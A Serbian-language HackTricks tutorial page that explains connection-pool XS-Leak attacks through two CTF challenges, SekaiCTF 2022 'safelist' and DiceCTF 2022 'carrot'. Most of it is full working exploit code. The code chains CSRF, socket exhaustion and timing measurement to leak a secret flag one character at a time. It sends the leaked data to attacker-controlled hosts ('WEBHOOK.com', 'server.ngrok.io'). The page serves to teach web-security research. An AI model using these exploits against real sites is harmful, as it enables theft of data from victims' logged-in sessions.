Primeri konekcione baze

Reading time: 10 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Sekaictf2022 - safelist

U izazovu Sekaictf2022 - safelist, @Strellic_ daje primer kako koristiti varijaciju tehnike Connection Pool za izvođenje XS-Leak.

U ovom izazovu, cilj je exfiltrirati zastavu koja će se pojaviti u web sesiji bota unutar posta. Ovo su resursi koje napadač ima:

  • bot će posetiti URL koji daje napadač
  • Napadač može ubaciti HTML na stranicu (ali ne i JS, koristi se dompurify) zloupotrebljavajući CSRF kako bi bot kreirao post sa tim HTML-om.
  • Napadač može zloupotrebiti CSRF da natera bota da obriše prvi post unutar web-a.
  • Pošto su postovi poređani abecedno, kada se prvi post obriše, ako je HTML sadržaj napadača učitan, to znači da je bio abecedno pre zastave.

Dakle, da bi ukrao zastavu, rešenje koje predlaže @Strellic_ je da, za svaki karakter koji se testira bot:

  • Kreira novi post koji počinje sa poznatim delom zastave i nekoliko img učitavanja.
  • Obriše post na poziciji 0.
  • Blokira 255 soketa.
  • Učitava stranicu sa postovima.
  • Izvrši 5 nasumičnih zahteva ka sajtu (example.com u ovom slučaju) i meri vreme koje to zahteva.

warning

Ako je obrisani post bila zastava, to znači da će sve slike ubacene u HTML biti u sukobu sa 5 nasumičnih zahteva za taj neblokirani soket. Što znači da će izmereno vreme biti veće nego u drugom scenariju.

Ako je obrisani post bio HTML, 5 nasumičnih zahteva će biti brži jer ne moraju da se bore za taj soket sa ubačenim HTML-om.

Eksploit 1

Ovo je kod eksploita, preuzet sa https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html:

html
<!-- Form to inject HTML code in the bots page --> <form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank"> <input type="text" name="text" /> <input type="submit" /> </form> <!-- Form to delete the first entry --> <form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank"> <input type="text" name="index" value="0" /> <input type="submit" /> </form> <script> // Attacker listening const WEBHOOK = "https://WEBHOOK.com/" // Send data to attacker const log = (id, data) => { let payload = JSON.stringify({ known, alphabet, data }) console.log(id, payload) navigator.sendBeacon(WEBHOOK + "?" + id, payload) } // Similar to JQuery const $ = document.querySelector.bind(document) // Known part of the flag const known = "SEKAI{" let alphabet = "_abcdefghijklmnopqrstuvwxyz}" // Reduce the alphabet using a hash (#) in the URL if (location.hash) { alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1))) } // Funtion to leak chars const leak = async (c) => { // Prepare post with known flag and the new char let payload = `${known + c}` // Inject as many <img as possible // you need to respect the CSP and create URLs that are different for (let i = 0; payload.length < 2048; i++) { payload += `<img src=js/purify.js?${i.toString(36)}>` } // Inject HTML $("#create input[type=text]").value = payload $("#create").submit() await new Promise((r) => setTimeout(r, 1000)) // Remove post with index 0 $("#remove").submit() await new Promise((r) => setTimeout(r, 500)) let deltas = [] // Try each char 3 times for (let i = 0; i < 3; i++) { const SOCKET_LIMIT = 255 // you will need a custom server that works like num.sleepserver.com/sleep/delay // needed to freeze the blocked sockets, and they have to all be on different origins // Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard const SLEEP_SERVER = (i) => `http://${i}.sleepserver.com/sleep/60` const block = async (i, controller) => { try { return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal, }) } catch (err) {} } // block SOCKET_LIMIT sockets const controller = new AbortController() for (let i = 0; i < SOCKET_LIMIT; i++) { block(i, controller) } // Make the bot access the page with the posts window.open( "https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn" ) await new Promise((r) => setTimeout(r, 500)) // start meassuring time to perform 5 requests let start = performance.now() await Promise.all([ fetch("https://example.com", { mode: "no-cors" }), fetch("https://example.com", { mode: "no-cors" }), fetch("https://example.com", { mode: "no-cors" }), fetch("https://example.com", { mode: "no-cors" }), fetch("https://example.com", { mode: "no-cors" }), ]) let delta = performance.now() - start document.title = delta controller.abort() log("test_" + c + "_" + i, delta) // Save time needed deltas.push(delta) } return deltas } // Check each char const pwn = async () => { // Try to leak each character for (let i = 0; i < alphabet.length; i++) { //Check the indicated char let deltas = await leak(alphabet[i]) // Calculate mean time from requests to example.com let avg = deltas.reduce((a, v) => a + v, 0) / deltas.length // If greater than 250, the HTML code was injected (flag in index 0) if (avg > 250) { log("tests_pos_" + alphabet[i], deltas) } // Flag in the page else { log("tests_neg_" + alphabet[i], deltas) } } } window.onload = async () => { pwn() } </script>

Eksploit 2

Ista taktika, ali drugačiji kod iz https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/

html
<!DOCTYPE html> <html> <!-- The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread. If images are loading, the request to "/" is slower, otherwise faster. By using a well-crafted height, we can let note with "A" load image but note with "Z" not load. We can use fetch to measure the request time. --> <body> <button onclick="run()">start</button> <form id="f" action="http://localhost:1234/create" method="POST" target="_blank"> <input id="inp" name="text" value="" /> </form> <form id="f2" action="http://localhost:1234/remove" method="POST" target="_blank"> <input id="inp2" name="index" value="" /> </form> <script> let flag = "SEKAI{" const TARGET = "https://safelist.ctf.sekai.team" f.action = TARGET + "/create" f2.action = TARGET + "/remove" const sleep = (ms) => new Promise((r) => setTimeout(r, ms)) const send = (data) => fetch("http://server.ngrok.io?d=" + data) const charset = "abcdefghijklmnopqrstuvwxyz".split("") // start exploit let count = 0 setTimeout(async () => { let L = 0 let R = charset.length - 1 while (R - L > 3) { let M = Math.floor((L + R) / 2) let c = charset[M] send("try_" + flag + c) const found = await testChar(flag + c) if (found) { L = M } else { R = M - 1 } } // fallback to linear since I am not familiar with binary search lol for (let i = R; i >= L; i--) { let c = charset[i] send("try_" + flag + c) const found = await testChar(flag + c) if (found) { send("found: " + flag + c) flag += c break } } }, 0) async function testChar(str) { return new Promise((resolve) => { /* For 3350, you need to test it on your local to get this number. The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold If starts with "A", the image should be loaded because it's in the threshold. */ inp.value = str + '<br><canvas height="3350px"></canvas><br>' + Array.from({ length: 20 }) .map((_, i) => `<img loading=lazy src=/?${i}>`) .join("") f.submit() setTimeout(() => { run(str, resolve) }, 500) }) } async function run(str, resolve) { // if the request is not enough, we can send more by opening more window for (let i = 1; i <= 5; i++) { window.open(TARGET) } let t = 0 const round = 30 setTimeout(async () => { for (let i = 0; i < round; i++) { let s = performance.now() await fetch(TARGET + "/?test", { mode: "no-cors", }).catch((err) => 1) let end = performance.now() t += end - s console.log(end - s) } const avg = t / round send(str + "," + t + "," + "avg:" + avg) /* I get this threshold(1000ms) by trying multiple times on remote admin bot for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold */ const isFound = t >= 1000 if (isFound) { inp2.value = "0" } else { inp2.value = "1" } // remember to delete the post to not break our leak oracle f2.submit() setTimeout(() => { resolve(isFound) }, 200) }, 200) } </script> </body> </html>

DiceCTF 2022 - carrot

U ovom slučaju, prvi korak eksploata je bio zloupotreba CSRF-a da se izmeni stranica na kojoj se nalazi zastava tako da ima mnogo više sadržaja (i stoga učitavanje traje duže), a zatim zloupotreba konekcione grupe da se izmeri vreme potrebno za pristup stranici koja potencijalno može sadržati zastavu.

U eksploatu možete videti:

  • Zloupotreba CSRF
  • Zauzeti sve sokete osim jednog
  • Kalibracija odgovora
  • Početi bruteforcing pristupom potencijalnoj stranici sa zastavom
  • Potencijalna stranica će biti pristupljena i odmah će biti pristupljena i URL pod kontrolom napadača kako bi se proverilo koliko vremena oba zahteva traju.
html
<h1>DiceCTF 2022 web/carrot</h1> <p> Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created) </p> <button onclick="csrf()">do csrf</button> <p> Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/" >connection-pool timing leak</a >, we have to use window.open (LAX cookie) </p> <button onclick="popunder()">open popup</button> <button onclick="exhaust_sockets()">open 255 connections</button> <button onclick="oracle('dice{abc')">test search "abc" (slow)</button> <button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button> <br /> <br /> <h2 id="output"></h2> <br /> <form id="x" action="" method="POST" style="display:none;"> <input type="text" name="title" placeholder="title" /> <br /><br /> <input type="number" name="priority" placeholder="priority" value="9999" /> <br /><br /> <textarea name="content" placeholder="content" rows="5" cols="20"></textarea> <br /><br /> <input type="submit" value="submit" /> </form> <script> // this is send is used as logging LOG = "Starting" // 255 in normal chrome, 99 in headless SOCKETLIMIT = 255 // default TIMELIMIT = 800 INSTANCE = "" MYSERVER = `example.com` const sleep = (ms) => { return new Promise((resolve) => { setTimeout(resolve, ms) }) } const time_fetch = async () => { let test_server_url = `https://${MYSERVER}/?${LOG}` let start = window.performance.now() try { await fetch(test_server_url, { mode: "no-cors", }) } catch (e) { console.log(e) } let end = window.performance.now() return end - start } const fetch_sleep_long = (i) => { // 40s sleep return fetch(`https://${i}.${MYSERVER}/40sleep`, { mode: "no-cors", }) } const fetch_sleep_short = (i) => { // 0.25s sleep return fetch(`https://${i}.${MYSERVER}/ssleep`, { mode: "no-cors", }) } const block_socket = async (i) => { fetch_sleep_long(i) // needed? await sleep(0) } const exhaust_sockets = async () => { let i = 0 for (; i < SOCKETLIMIT; i++) { block_socket(i) } console.log(`Used ${i} connections`) } const timeit = async (url, popup) => { return new Promise(async (r) => { popup.location = url // needed? await sleep(50) let val = await time_fetch() r(val) }) } // const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split(''); const alphabet = "abcdefghijklmnopqrstuvwxyz}_".split("") // const alphabet = 'abcdef}'.split(''); const oracle = async (search) => { let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}` let t = await timeit(url, WINBG) LOG = `${search}:${t}` console.log(`${search}:${t}`) return t > TIMELIMIT } const brute = async (flag) => { for (const char of alphabet) { if (await oracle(flag + char)) { return char } } return false } const calibrate = async () => { return new Promise(async (r) => { // slow let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{` let t1 = await timeit(url1, WINBG) console.log(`slow:${t1}`) // fast let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX` let t2 = await timeit(url2, WINBG) console.log(`fast:${t2}`) return r((t1 + t2) / 2) }) } const exploit = async (flag = "") => { console.log("Starting") // dont go to fast plz :) console.log(`waiting 3s`) await sleep(3000) // exaust sockets await exhaust_sockets() await sleep(2000) LOG = `Calibrating` TIMELIMIT = await calibrate() LOG = `TIMELIMIT:${TIMELIMIT}` console.log(`timelimit:${TIMELIMIT}`) await sleep(2000) let last while (true) { last = await brute(flag) if (last === false) { return flag } else { flag += last output.innerText = flag if (last === "}") { return flag } } } } const popunder = () => { if (window.opener) { WINBG = window.opener } else { WINBG = window.open(location.href, (target = "_blank")) location = `about:blank` } } const csrf = async () => { x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0` x.title.value = "A".repeat(1000000) x.submit() } window.onload = () => { let p = new URL(location).searchParams if (!p.has("i")) { console.log(`no INSTANCE`) return } INSTANCE = p.get("i") // step 1 if (p.has("csrf")) { csrf() return } // step 2 if (p.has("exploit")) { // window open is ok in headless :) popunder() exploit("dice{") } } </script>

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks